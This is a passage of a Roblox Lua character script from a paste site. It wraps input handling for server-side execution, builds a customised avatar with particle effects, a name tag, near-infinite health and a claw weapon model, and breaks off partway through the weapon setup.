SHOW:
|
|
- or go back to the newest paste.
1 | if game:GetService("RunService"):IsClient() then error("Script must be server-side in order to work; use h/ and not hl/") end | |
2 | local Player,Mouse,mouse,UserInputService,ContextActionService = owner | |
3 | local RealPlayer = Player | |
4 | do print("FE Compatibility code by Mokiros")local a=RealPlayer;script.Parent=a.Character;local b=Instance.new("RemoteEvent")b.Name="UserInput_Event"local function c()local d={_fakeEvent=true,Functions={},Connect=function(self,e)table.insert(self.Functions,e)end}d.connect=d.Connect;return d end;local f={Target=nil,Hit=CFrame.new(),KeyUp=c(),KeyDown=c(),Button1Up=c(),Button1Down=c()}local g={InputBegan=c(),InputEnded=c()}local CAS={Actions={},BindAction=function(self,h,i,j,...)CAS.Actions[h]=i and{Name=h,Function=i,Keys={...}}or nil end}CAS.UnbindAction=CAS.BindAction;local function k(self,l,...)local d=f[l]if d and d._fakeEvent then for m,e in pairs(d.Functions)do e(...)end end end;f.TrigEvent=k;g.TrigEvent=k;b.OnServerEvent:Connect(function(n,o)if n~=a then return end;f.Target=o.Target;f.Hit=o.Hit;if not o.isMouse then local p=o.UserInputState==Enum.UserInputState.Begin;if o.UserInputType==Enum.UserInputType.MouseButton1 then return f:TrigEvent(p and"Button1Down"or"Button1Up")end;for m,d in pairs(CAS.Actions)do for m,q in pairs(d.Keys)do if q==o.KeyCode then d.Function(d.Name,o.UserInputState,o)end end end;f:TrigEvent(p and"KeyDown"or"KeyUp",o.KeyCode.Name:lower())g:TrigEvent(p and"InputBegan"or"InputEnded",o,false)end end)b.Parent=NLS([==[local a=game:GetService("Players").LocalPlayer;local b=script:WaitForChild("UserInput_Event")local c=a:GetMouse()local d=game:GetService("UserInputService")local e=function(f,g)if g then return end;b:FireServer({KeyCode=f.KeyCode,UserInputType=f.UserInputType,UserInputState=f.UserInputState,Hit=c.Hit,Target=c.Target})end;d.InputBegan:Connect(e)d.InputEnded:Connect(e)local h,i;while wait(1/30)do if h~=c.Hit or i~=c.Target then h,i=c.Hit,c.Target;b:FireServer({isMouse=true,Target=i,Hit=h})end end]==],Player.Character)local r=game;local s={__index=function(self,q)local t=rawget(self,"_RealService")if t then return t[q]end end,__newindex=function(self,q,u)local t=rawget(self,"_RealService")if t then t[q]=u end end,__call=function(self,...)local t=rawget(self,"_RealService")if t then return t(...)end end}local function v(d,w)d._RealService=typeof(w)=="string"and r:GetService(w)or w;return setmetatable(d,s)end;local x={GetService=function(self,t)return self[t]end,Players=v({LocalPlayer=v({GetMouse=function(self)return f end},Player)},"Players"),UserInputService=v(g,"UserInputService"),ContextActionService=v(CAS,"ContextActionService")}rawset(x.Players,"localPlayer",x.Players.LocalPlayer)x.service=x.GetService;x.RunService=v({RenderStepped=r:GetService("RunService").Heartbeat,BindToRenderStep=function(self,h,m,i)self._btrs[h]=self.Heartbeat:Connect(i)end,UnbindFromRenderStep=function(self,h)self._btrs[h]:Disconnect()end},"RunService")setmetatable(x,{__index=function(self,t)return r:GetService(t)or typeof(r[t])=="function"and function(m,...)return r[t](r,...)end or r[t]end,__newindex=s.__newindex,__call=s.__call})game,owner=x,x.Players.LocalPlayer end | |
5 | paly = game.Players.LocalPlayer | |
6 | Player = game:GetService("Players").LocalPlayer | |
7 | p = game.Players.LocalPlayer | |
8 | char = paly.Character | |
9 | vt = Vector3.new | |
10 | rarm = char["Right Arm"] | |
11 | hed = char.Head | |
12 | local randomquote = 0 | |
13 | larm = char["Left Arm"] | |
14 | rleg = char["Right Leg"] | |
15 | lleg = char["Left Leg"] | |
16 | local maincolor = BrickColor.random() | |
17 | local effolemode = false | |
18 | local wrathmode = false | |
19 | local noobmode = false | |
20 | local randomname = "???" | |
21 | local randomnamefem = "???" | |
22 | local randomchanger = 6 | |
23 | if paly.Name == "ZaBlazy_y" then | |
24 | randomchanger = 6 | |
25 | end | |
26 | if randomchanger == 6 then | |
27 | randomnamefem = "Emi" | |
28 | effolemode = true | |
29 | maincolor = BrickColor.new("Bright red") | |
30 | ||
31 | local torsmesh = Instance.new("CharacterMesh", char) | |
32 | torsmesh.BodyPart = "Torso" | |
33 | torsmesh.MeshId = "48112070" | |
34 | local dec2 = Instance.new("Decal", char) | |
35 | dec2.Face = "Front" | |
36 | dec2.Texture = "rbxassetid://704529165" | |
37 | dec2.Parent = char.Head | |
38 | local deca = Instance.new("Decal", char) | |
39 | deca.Face = "Front" | |
40 | deca.Texture = "http://www.roblox.com/asset/?id=975312795" | |
41 | deca.Parent = char.Head | |
42 | char.Head.face.Transparency = 1 | |
43 | char.Head.face.Texture = "http://www.roblox.com/asset/?id=0" | |
44 | ||
45 | for i,v in pairs(char:children()) do | |
46 | if v:IsA("Hat") then | |
47 | v:Destroy() | |
48 | end | |
49 | end | |
50 | for i,v in pairs(char:children()) do | |
51 | if v:IsA("Accessory") then | |
52 | v:Destroy() | |
53 | end | |
54 | end | |
55 | for i,v in pairs(char:children()) do | |
56 | if v:IsA("Hair") then | |
57 | v:Destroy() | |
58 | end | |
59 | end | |
60 | for i,v in pairs(char:children()) do | |
61 | if v:IsA("Shirt") then | |
62 | v:Destroy() | |
63 | end | |
64 | end | |
65 | for i,v in pairs(char:children()) do | |
66 | if v:IsA("Pants") then | |
67 | v:Destroy() | |
68 | end | |
69 | end | |
70 | ||
71 | local eye12 = Instance.new("Part") | |
72 | eye12.Parent = char | |
73 | eye12.Size = Vector3.new(0.2, 0.2, 0.2) | |
74 | eye12.Archivable = true | |
75 | eye12.Transparency = 0 | |
76 | eye12.Shape = "Ball" | |
77 | eye12.BrickColor = maincolor | |
78 | eye12.Material = "Neon" | |
79 | eye12.CanCollide = false | |
80 | local mesh2 = Instance.new("SpecialMesh",eye12) | |
81 | mesh2.MeshType = "Sphere" | |
82 | mesh2.Scale = Vector3.new(0.75, 1, 1) | |
83 | local weld1en2 = Instance.new("Weld") | |
84 | weld1en2.Parent = hed | |
85 | weld1en2.Part0 = hed | |
86 | weld1en2.Part1 = eye12 | |
87 | weld1en2.C1 = CFrame.new(0.115, -0.19, 0.5475) | |
88 | local eye1 = Instance.new("Part") | |
89 | eye1.Parent = char | |
90 | eye1.Size = Vector3.new(0.2, 0.2, 0.2) | |
91 | eye1.Archivable = true | |
92 | eye1.Transparency = 0 | |
93 | eye1.Shape = "Ball" | |
94 | eye1.BrickColor = maincolor | |
95 | eye1.Material = "Neon" | |
96 | eye1.CanCollide = false | |
97 | local mesh = Instance.new("SpecialMesh",eye1) | |
98 | mesh.MeshType = "Sphere" | |
99 | mesh.Scale = Vector3.new(0.75, 1, 1) | |
100 | local weld1en = Instance.new("Weld") | |
101 | weld1en.Parent = hed | |
102 | weld1en.Part0 = hed | |
103 | weld1en.Part1 = eye1 | |
104 | weld1en.C1 = CFrame.new(-0.115, -0.19, 0.5475) | |
105 | ||
106 | local BC = char["Body Colors"] | |
107 | BC.HeadColor = BrickColor.new("Pastel brown") | |
108 | BC.LeftArmColor = BrickColor.new("Pastel brown") | |
109 | BC.LeftLegColor = BrickColor.new("Pastel brown") | |
110 | BC.RightArmColor = BrickColor.new("Pastel brown") | |
111 | BC.RightLegColor = BrickColor.new("Pastel brown") | |
112 | BC.TorsoColor = BrickColor.new("Pastel brown") | |
113 | ||
114 | ypcall(function() | |
115 | shirt = Instance.new("Shirt", char) | |
116 | shirt.Name = "Shirt" | |
117 | pants = Instance.new("Pants", char) | |
118 | pants.Name = "Pants" | |
119 | char.Shirt.ShirtTemplate = "rbxassetid://818663311" | |
120 | char.Pants.PantsTemplate = "rbxassetid://759666960" | |
121 | end) | |
122 | Reaper2 = Instance.new("Model") | |
123 | Reaper2.Parent = Player.Character | |
124 | Reaper2.Name = "Reaper2" | |
125 | rh2 = Instance.new("Part") | |
126 | rh2.Parent = Reaper2 | |
127 | rh2.BrickColor = maincolor | |
128 | rh2.Locked = true | |
129 | rh2.CanCollide = false | |
130 | mesh2 = Instance.new("SpecialMesh") | |
131 | rh2.formFactor = "Symmetric" | |
132 | mesh2.MeshType = "FileMesh" | |
133 | mesh2.MeshId = "http://www.roblox.com/asset/?id=167554431" | |
134 | mesh2.Parent = rh2 | |
135 | local weld2 = Instance.new("Weld") | |
136 | weld2.Parent = rh2 | |
137 | rh2.Transparency = 0 | |
138 | weld2.Part0 = rh2 | |
139 | weld2.Part1 = Player.Character.Head | |
140 | weld2.C0 = CFrame.new(-0.05, -0.05, -0.1025)*CFrame.Angles(0, 0, 0) | |
141 | ||
142 | Reaper3 = Instance.new("Model") | |
143 | Reaper3.Parent = Player.Character | |
144 | Reaper3.Name = "Reaper3" | |
145 | rh3 = Instance.new("Part") | |
146 | rh3.Parent = Reaper3 | |
147 | rh3.BrickColor = BrickColor.new("Really black") | |
148 | rh3.Locked = true | |
149 | rh3.CanCollide = false | |
150 | mesh3 = Instance.new("SpecialMesh") | |
151 | rh3.formFactor = "Symmetric" | |
152 | mesh3.MeshType = "FileMesh" | |
153 | mesh3.MeshId = "http://www.roblox.com/asset/?id=101176852" | |
154 | mesh3.Parent = rh3 | |
155 | local weld3 = Instance.new("Weld") | |
156 | weld3.Parent = rh3 | |
157 | rh3.Transparency = 0 | |
158 | weld3.Part0 = rh3 | |
159 | weld3.Part1 = Player.Character.Head | |
160 | weld3.C0 = CFrame.new(0, -1.23, 0)*CFrame.Angles(0, 0, 0) | |
161 | ||
162 | local orbe = Instance.new("Part") | |
163 | orbe.Parent = char | |
164 | orbe.Size = Vector3.new(0.2, 0.2, 0.2) | |
165 | orbe.Archivable = true | |
166 | orbe.Transparency = 1 | |
167 | orbe.BrickColor = maincolor | |
168 | orbe.Material = "Neon" | |
169 | orbe.CanCollide = false | |
170 | local weld1e = Instance.new("Weld") | |
171 | weld1e.Parent = rleg | |
172 | weld1e.Part0 = rleg | |
173 | weld1e.Part1 = orbe | |
174 | weld1e.C1 = CFrame.new(0, 1.125, 0) | |
175 | local pt1e = NumberSequenceKeypoint.new(0,0.85,0) | |
176 | local pt2e = NumberSequenceKeypoint.new(1,0,0) | |
177 | local effectoe = Instance.new("ParticleEmitter",orbe) | |
178 | effectoe.LightEmission = 1 | |
179 | effectoe.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
180 | effectoe.Color = ColorSequence.new(maincolor.Color) | |
181 | effectoe.Rate = 10000 | |
182 | effectoe.Lifetime = NumberRange.new(1) | |
183 | effectoe.Size = NumberSequence.new({pt1e,pt2e}) | |
184 | effectoe.Speed = NumberRange.new(0,0) | |
185 | effectoe.RotSpeed = NumberRange.new(100,100) | |
186 | ||
187 | local orbze = Instance.new("Part") | |
188 | orbze.Parent = char | |
189 | orbze.Size = Vector3.new(0.2, 0.2, 0.2) | |
190 | orbze.Archivable = true | |
191 | orbze.Transparency = 1 | |
192 | orbze.BrickColor = maincolor | |
193 | orbze.Material = "Neon" | |
194 | orbze.CanCollide = false | |
195 | local weldz1 = Instance.new("Weld") | |
196 | weldz1.Parent = lleg | |
197 | weldz1.Part0 = lleg | |
198 | weldz1.Part1 = orbze | |
199 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
200 | local effectone = Instance.new("ParticleEmitter",orbze) | |
201 | effectone.LightEmission = 1 | |
202 | effectone.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
203 | effectone.Color = ColorSequence.new(maincolor.Color) | |
204 | effectone.Rate = 10000 | |
205 | effectone.Lifetime = NumberRange.new(1) | |
206 | effectone.Size = NumberSequence.new({pt1e,pt2e}) | |
207 | effectone.Speed = NumberRange.new(0,0) | |
208 | effectone.RotSpeed = NumberRange.new(100,100) | |
209 | end | |
210 | ||
211 | if effolemode == true then | |
212 | maincolor = BrickColor.new("Bright red") | |
213 | end | |
214 | ||
215 | local orb = Instance.new("Part") | |
216 | orb.Parent = char | |
217 | orb.Size = Vector3.new(1, 1, 1) | |
218 | orb.Archivable = true | |
219 | orb.Transparency = 1 | |
220 | orb.BrickColor = BrickColor.new("Bright orange") | |
221 | orb.Material = "Wood" | |
222 | orb.CanCollide = false | |
223 | local weld1 = Instance.new("Weld") | |
224 | weld1.Parent = rarm | |
225 | weld1.Part0 = rarm | |
226 | weld1.Part1 = orb | |
227 | weld1.C1 = CFrame.new(0, 1.125, 0) | |
228 | local pt1 = NumberSequenceKeypoint.new(0,0.475,0) | |
229 | local pt2 = NumberSequenceKeypoint.new(1,0,0) | |
230 | local effecto = Instance.new("ParticleEmitter",orb) | |
231 | effecto.LightEmission = 1 | |
232 | effecto.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
233 | effecto.Color = ColorSequence.new(maincolor.Color) | |
234 | effecto.Rate = 10000 | |
235 | effecto.Lifetime = NumberRange.new(1) | |
236 | effecto.Size = NumberSequence.new({pt1,pt2}) | |
237 | effecto.Speed = NumberRange.new(0,0) | |
238 | effecto.RotSpeed = NumberRange.new(100,100) | |
239 | ||
240 | local orbz = Instance.new("Part") | |
241 | orbz.Parent = char | |
242 | orbz.Size = Vector3.new(1, 1, 1) | |
243 | orbz.Archivable = true | |
244 | orbz.Transparency = 1 | |
245 | orbz.BrickColor = BrickColor.new("Bright orange") | |
246 | orbz.Material = "Wood" | |
247 | orbz.CanCollide = false | |
248 | local weldz1 = Instance.new("Weld") | |
249 | weldz1.Parent = larm | |
250 | weldz1.Part0 = larm | |
251 | weldz1.Part1 = orbz | |
252 | weldz1.C1 = CFrame.new(0, 1.125, 0) | |
253 | local effecton = Instance.new("ParticleEmitter",orbz) | |
254 | effecton.LightEmission = 1 | |
255 | effecton.Texture = "rbxasset://textures/particles/smoke_main.dds" | |
256 | effecton.Color = ColorSequence.new(maincolor.Color) | |
257 | effecton.Rate = 10000 | |
258 | effecton.Lifetime = NumberRange.new(1) | |
259 | effecton.Size = NumberSequence.new({pt1,pt2}) | |
260 | effecton.Speed = NumberRange.new(0,0) | |
261 | effecton.RotSpeed = NumberRange.new(100,100) | |
262 | ||
263 | ||
264 | p = game.Players.LocalPlayer | |
265 | char = p.Character | |
266 | torso = char.Torso | |
267 | neck = char.Torso.Neck | |
268 | hum = char.Humanoid | |
269 | hum.MaxHealth = math.huge + 99999999 | |
270 | wait() | |
271 | hum.Health =hum.MaxHealth | |
272 | ||
273 | CV="Hot pink" | |
274 | ||
275 | local txt = Instance.new("BillboardGui", char) | |
276 | txt.Adornee = char .Head | |
277 | txt.Name = "_status" | |
278 | txt.Size = UDim2.new(2, 0, 1.2, 0) | |
279 | txt.StudsOffset = Vector3.new(-9, 8, 0) | |
280 | local text = Instance.new("TextLabel", txt) | |
281 | text.Size = UDim2.new(10, 0, 7, 0) | |
282 | text.FontSize = "Size24" | |
283 | text.TextScaled = true | |
284 | text.TextTransparency = 0 | |
285 | text.BackgroundTransparency = 1 | |
286 | text.TextTransparency = 0 | |
287 | text.TextStrokeTransparency = 0 | |
288 | text.Font = "SciFi" | |
289 | text.TextStrokeColor3 = Color3.new(0,0,0) | |
290 | ||
291 | v=Instance.new("Part") | |
292 | v.Name = "ColorBrick" | |
293 | v.Parent=p.Character | |
294 | v.FormFactor="Symmetric" | |
295 | v.Anchored=true | |
296 | v.CanCollide=false | |
297 | v.BottomSurface="Smooth" | |
298 | v.TopSurface="Smooth" | |
299 | v.Size=Vector3.new(10,5,3) | |
300 | v.Transparency=1 | |
301 | v.CFrame=char.Torso.CFrame | |
302 | v.BrickColor=BrickColor.new(CV) | |
303 | v.Transparency=1 | |
304 | text.TextColor3 = BrickColor.new("Bright red").Color | |
305 | v.Shape="Block" | |
306 | text.Text = "Mikia" | |
307 | ||
308 | ||
309 | euler = CFrame.fromEulerAnglesXYZ | |
310 | angles = CFrame.Angles | |
311 | local player = "LocalPlayer" | |
312 | local Character = game.Players[player].Character | |
313 | it = Instance.new | |
314 | vt = Vector3.new | |
315 | bc = BrickColor.new | |
316 | cf = CFrame.new | |
317 | mr = math.rad | |
318 | local Weapon = {} | |
319 | local p = game.Players.LocalPlayer | |
320 | local char = p.Character | |
321 | local mouse = p:GetMouse() | |
322 | local larm = char["Left Arm"] | |
323 | local rarm = char["Right Arm"] | |
324 | local lleg = char["Left Leg"] | |
325 | local rleg = char["Right Leg"] | |
326 | local hed = char.Head | |
327 | local torso = char.Torso | |
328 | local hum = char.Humanoid | |
329 | local cam = game.Workspace.CurrentCamera | |
330 | local root = char.HumanoidRootPart | |
331 | local deb = false | |
332 | local shot = 0 | |
333 | ||
334 | local debris=game:service"Debris" | |
335 | local l = game:GetService("Lighting") | |
336 | local rs = game:GetService("RunService").RenderStepped | |
337 | ptz = {0.8, 0.85, 0.9, 0.95, 1, 1.05, 1.1} | |
338 | math.randomseed(os.time()) | |
339 | for i,v in pairs (hed:GetChildren()) do | |
340 | if v:IsA("Sound") then | |
341 | v:Destroy() | |
342 | end | |
343 | end | |
344 | ---------------------------------------------------- BeastClaw | |
345 | NoOutline = function(Part) | |
346 | Part.TopSurface = 10 | |
347 | end | |
348 | part = function(formfactor, parent, reflectance, transparency, brickcolor, name, size) | |
349 | local fp = it("Part") | |
350 | fp.formFactor = formfactor | |
351 | fp.Parent = parent | |
352 | fp.Reflectance = reflectance | |
353 | fp.Transparency = transparency | |
354 | fp.CanCollide = false | |
355 | fp.Locked = true | |
356 | fp.BrickColor = brickcolor | |
357 | fp.Name = name | |
358 | fp.Size = size | |
359 | NoOutline(fp) | |
360 | fp.Material = "Neon" | |
361 | fp:BreakJoints() | |
362 | return fp | |
363 | end | |
364 | mesh = function(Mesh, part, meshtype, meshid, offset, scale) | |
365 | local mesh = it(Mesh) | |
366 | mesh.Parent = part | |
367 | if Mesh == "SpecialMesh" then | |
368 | mesh.MeshType = meshtype | |
369 | if meshid ~= "nil" then | |
370 | mesh.MeshId = "http://www.roblox.com/asset/?id=" .. meshid | |
371 | end | |
372 | end | |
373 | mesh.Offset = offset | |
374 | mesh.Scale = scale | |
375 | return mesh | |
376 | end | |
377 | weld = function(parent, part0, part1, c0) | |
378 | local weld = it("Motor6D") | |
379 | weld.Parent = parent | |
380 | weld.Part0 = part0 | |
381 | weld.Part1 = part1 | |
382 | weld.C0 = c0 | |
383 | return weld | |
384 | end | |
385 | gui = function(GuiType, parent, text, backtrans, backcol, pos, size, image) | |
386 | local gui = it(GuiType) | |
387 | gui.Parent = parent | |
388 | gui.BackgroundTransparency = backtrans | |
389 | gui.BackgroundColor3 = backcol | |
390 | gui.SizeConstraint = "RelativeXY" | |
391 | gui.Position = pos | |
392 | gui.Size = size | |
393 | if GuiType == "TextLabel" then | |
394 | gui.Text = text | |
395 | gui.TextXAlignment = "Center" | |
396 | gui.TextYAlignment = "Center" | |
397 | gui.Font = "SourceSans" | |
398 | gui.FontSize = "Size14" | |
399 | gui.TextWrapped = false | |
400 | gui.TextStrokeTransparency = 0 | |
401 | gui.TextColor = TorsoColor | |
402 | else | |
403 | if GuiType == "ImageLabel" then | |
404 | gui.Image = "rbxassetid://" .. image | |
405 | gui.ImageColor3 = backcol | |
406 | end | |
407 | end | |
408 | return gui | |
409 | end | |
410 | local handle = nil | |
411 | AesthPart = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef) | |
412 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
413 | prt.Material = neon | |
414 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
415 | wld = weld(handle, prt, wldpar, ceef) | |
416 | v = it("NumberValue", prt) | |
417 | v.Value = trans | |
418 | v.Name = "MainTransparency" | |
419 | return prt, msh, wld | |
420 | end | |
421 | AesthPartHand = function(model, wldpar, reflec, trans, col, name, neon, meshh, mshtype, mshtxt, x1, y1, z1, ceef, wldpare) | |
422 | prt = part(3, model, reflec, trans, BrickColor.new(col), name, vt()) | |
423 | prt.Material = neon | |
424 | msh = mesh(meshh, prt, mshtype, mshtxt, vt(0, 0, 0), vt(x1, y1, z1)) | |
425 | wld = weld(wldpare, prt, wldpar, ceef) | |
426 | v = it("NumberValue", prt) | |
427 | v.Value = trans | |
428 | v.Name = "MainTransparency" | |
429 | return prt, msh, wld | |
430 | end | |
431 | local modelzorzez = Instance.new("Model") | |
432 | modelzorzez.Parent = workspace.CurrentCamera | |
433 | modelzorzez.Name = "none" | |
434 | local Torso = Character.Torso | |
435 | local LeftArm = Character["Left Arm"] | |
436 | local RightArm = Character["Right Arm"] | |
437 | local LeftLeg = Character["Left Leg"] | |
438 | local RightLeg = Character["Right Leg"] | |
439 | local Head = Character.Head | |
440 | local RootPart = Character.HumanoidRootPart | |
441 | handle = part(3, modelzorzez, 0, 1, BrickColor.new("Really black"), "Handle", vt()) | |
442 | local handlewld = weld(handle, handle, Torso, euler(0, 0, -0.8) * cf(0, 0, -0.7)) | |
443 | ||
444 | -- SAHHHH DUUDEEE | |
445 | ||
446 | ||
447 | ||
448 | ||
449 | -- params : ... | |
450 | ||
451 | wait(0.016666666666667) | |
452 | script.Archivable = false | |
453 | Effects = {} | |
454 | local Player = game.Players.localPlayer | |
455 | local Character = Player.Character | |
456 | local Humanoid = Character.Humanoid | |
457 | local mouse = Player:GetMouse() | |
458 | local m = Instance.new("Model", Character) | |
459 | m.Name = "WeaponModel" | |
460 | local effect = Instance.new("Model", Character) | |
461 | effect.Name = "effecsfsafzx" | |
462 | local demon = Instance.new("Model", Character) | |
463 | demon.Name = "demdemd" | |
464 | local LeftArm = Character["Left Arm"] | |
465 | local RightArm = Character["Right Arm"] | |
466 | local LeftLeg = Character["Left Leg"] | |
467 | local RightLeg = Character["Right Leg"] | |
468 | local do2target = nil | |
469 | local Head = Character.Head | |
470 | local Torso = Character.Torso | |
471 | TorsoColor = BrickColor.new("Crimson") | |
472 | z = Instance.new("Sound", Torso) | |
473 | z.SoundId = "rbxassetid://0" -- Put Music ID Here. | |
474 | z.Looped = true | |
475 | z.Pitch = 0 | |
476 | z.Volume = 0 | |
477 | wait(.1) | |
478 | z:Play() | |
479 | local cam = game.Workspace.CurrentCamera | |
480 | local RootPart = Character.HumanoidRootPart | |
481 | local RootJoint = RootPart.RootJoint | |
482 | local equipped = false | |
483 | local attack = false | |
484 | local Anim = "Idle" | |
485 | local idle = 0 | |
486 | local attacktype = 1 | |
487 | local Torsovelocity = RootPart.Velocity * Vector3.new(1, 0, 1).magnitude | |
488 | local velocity = RootPart.Velocity.y | |
489 | local sine = 0 | |
490 | local change = 1 | |
491 | local mana = 0 | |
492 | local it = Instance.new | |
493 | vt = Vector3.new | |
494 | local grabbed = false | |
495 | local cf = CFrame.new | |
496 | local mr = math.rad | |
497 | local angles = CFrame.Angles | |
498 | local ud = UDim2.new | |
499 | local c3 = Color3.new | |
500 | clerp = function(a, b, t) | |
501 | ||
502 | return a:lerp(b, t) | |
503 | end | |
504 | ||
505 | local RbxUtility = LoadLibrary("RbxUtility") | |
506 | local Create = RbxUtility.Create | |
507 | RemoveOutlines = function(part) | |
508 | ||
509 | part.TopSurface = 10 | |
510 | end | |
511 | ||
512 | CreatePart = function(Parent, Material, Reflectance, Transparency, BColor, Name, Size) | |
513 | ||
514 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
515 | RemoveOutlines(Part) | |
516 | return Part | |
517 | end | |
518 | ||
519 | CreateMesh = function(Mesh, Part, MeshType, MeshId, OffSet, Scale) | |
520 | ||
521 | local Msh = Create(Mesh)({Parent = Part, Offset = OffSet, Scale = Scale}) | |
522 | if Mesh == "SpecialMesh" then | |
523 | Msh.MeshType = MeshType | |
524 | Msh.MeshId = MeshId | |
525 | end | |
526 | return Msh | |
527 | end | |
528 | ||
529 | local co1 = 3 | |
530 | local co2 = 10 | |
531 | local co3 = 15 | |
532 | local co4 = 30 | |
533 | local cooldown1 = 0 | |
534 | local cooldown2 = 0 | |
535 | local cooldown3 = 0 | |
536 | local cooldown4 = 0 | |
537 | local maxEnergy = 100 | |
538 | local Energy = 0 | |
539 | local skill1stam = 1000 | |
540 | local skill2stam = 1000 | |
541 | local skill3stam = 1000 | |
542 | local skill4stam = 1000 | |
543 | local recovermana = 5 | |
544 | local skillcolorscheme = BrickColor.new("Bright red").Color | |
545 | local scrn = Instance.new("ScreenGui", Player.PlayerGui) | |
546 | makeframe = function(par, trans, pos, size, color) | |
547 | ||
548 | local frame = Instance.new("Frame", par) | |
549 | frame.BackgroundTransparency = trans | |
550 | frame.BorderSizePixel = 0 | |
551 | frame.Position = pos | |
552 | frame.Size = size | |
553 | frame.BackgroundColor3 = color | |
554 | return frame | |
555 | end | |
556 | ||
557 | makelabel = function(par, text) | |
558 | ||
559 | local label = Instance.new("TextLabel", par) | |
560 | label.BackgroundTransparency = 1 | |
561 | label.Size = UDim2.new(1, 0, 1, 0) | |
562 | label.Position = UDim2.new(0, 0, 0, 0) | |
563 | label.TextColor3 = Color3.new(255, 255, 255) | |
564 | label.TextStrokeTransparency = 0 | |
565 | label.FontSize = Enum.FontSize.Size32 | |
566 | label.Font = Enum.Font.SourceSansLight | |
567 | label.BorderSizePixel = 0 | |
568 | label.TextScaled = true | |
569 | label.Text = text | |
570 | end | |
571 | ||
572 | ArtificialHB = Instance.new("BindableEvent", script) | |
573 | ArtificialHB.Name = "Heartbeat" | |
574 | script:WaitForChild("Heartbeat") | |
575 | frame = 0.033333333333333 | |
576 | tf = 0 | |
577 | allowframeloss = false | |
578 | tossremainder = false | |
579 | lastframe = tick() | |
580 | script.Heartbeat:Fire() | |
581 | game:GetService("RunService").Heartbeat:connect(function(s, p) | |
582 | ||
583 | tf = tf + s | |
584 | if frame <= tf then | |
585 | if allowframeloss then | |
586 | script.Heartbeat:Fire() | |
587 | lastframe = tick() | |
588 | else | |
589 | for i = 1, math.floor(tf / frame) do | |
590 | script.Heartbeat:Fire() | |
591 | end | |
592 | lastframe = tick() | |
593 | end | |
594 | if tossremainder then | |
595 | tf = 0 | |
596 | else | |
597 | tf = tf - frame * math.floor(tf / frame) | |
598 | end | |
599 | end | |
600 | end | |
601 | ) | |
602 | swait = function(num) | |
603 | ||
604 | if num == 0 or num == nil then | |
605 | ArtificialHB.Event:wait() | |
606 | else | |
607 | for i = 0, num do | |
608 | ArtificialHB.Event:wait() | |
609 | end | |
610 | end | |
611 | end | |
612 | ||
613 | CreateWeld = function(Parent, Part0, Part1, C0, C1) | |
614 | ||
615 | local Weld = Create("Weld")({Parent = Parent, Part0 = Part0, Part1 = Part1, C0 = C0, C1 = C1}) | |
616 | return Weld | |
617 | end | |
618 | ||
619 | rayCast = function(Position, Direction, Range, Ignore) | |
620 | ||
621 | return game:service("Workspace"):FindPartOnRay(Ray.new(Position, Direction.unit * (Range or 999.999)), Ignore) | |
622 | end | |
623 | ||
624 | CreateSound = function(id, par, vol, pit) | |
625 | ||
626 | coroutine.resume(coroutine.create(function() | |
627 | ||
628 | local sou = Instance.new("Sound", par or workspace) | |
629 | sou.Volume = vol | |
630 | sou.Pitch = pit or 1 | |
631 | sou.SoundId = id | |
632 | swait() | |
633 | sou:play() | |
634 | game:GetService("Debris"):AddItem(sou, 6) | |
635 | end | |
636 | )) | |
637 | end | |
638 | ||
639 | local getclosest = function(obj, distance) | |
640 | ||
641 | local last, lastx = distance + 1, nil | |
642 | for i,v in pairs(workspace:GetChildren()) do | |
643 | if v:IsA("Model") and v ~= Character and v:findFirstChild("Humanoid") and v:findFirstChild("Torso") and v:findFirstChild("Humanoid").Health > 0 then | |
644 | local t = v.Torso | |
645 | local dist = t.Position - obj.Position.magnitude | |
646 | if dist <= distance and dist < last then | |
647 | last = dist | |
648 | lastx = v | |
649 | end | |
650 | end | |
651 | end | |
652 | return lastx | |
653 | end | |
654 | ||
655 | CreatePart2 = function(Parent, Material, Reflectance, Transparency, PartType, BColor, Name, Size) | |
656 | ||
657 | if PartType == "Part" then | |
658 | local Part = Create("Part")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
659 | RemoveOutlines(Part) | |
660 | return Part | |
661 | else | |
662 | do | |
663 | if PartType == "WedgePart" then | |
664 | local Part = Create("WedgePart")({Parent = Parent, Reflectance = Reflectance, Transparency = Transparency, CanCollide = false, Locked = true, BrickColor = BrickColor.new(tostring(BColor)), Name = Name, Size = Size, Material = Material}) | |
665 | RemoveOutlines(Part) | |
666 | return Part | |
667 | end | |
668 | end | |
669 | end | |
670 | end | |
671 | ||
672 | Handle = CreatePart(m, Enum.Material.SmoothPlastic, 0, 1, "Dirt brown", "Handle", Vector3.new(1, 2, 1)) | |
673 | HandleWeld = CreateWeld(m, Character["Right Arm"], Handle, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
674 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
675 | ClawWeld = CreateWeld(m, Handle, Claw, CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1), CFrame.new(0.0142869996, -0.598956585, -0.401195407, 0, 0, 1, 0.25881803, -0.965926111, 0, 0.965926111, 0.25881803, 0)) | |
676 | CreateMesh("SpecialMesh", Claw, Enum.MeshType.FileMesh, "http://www.roblox.com/Asset/?id=9756362", Vector3.new(0, 0, 0), Vector3.new(1, 0.709999979, 0.150000006)) | |
677 | Claw = CreatePart2(m, Enum.Material.Neon, 0.30000001192093, 0, "Part", TorsoColor, "Claw", Vector3.new(1, 1, 1)) | |
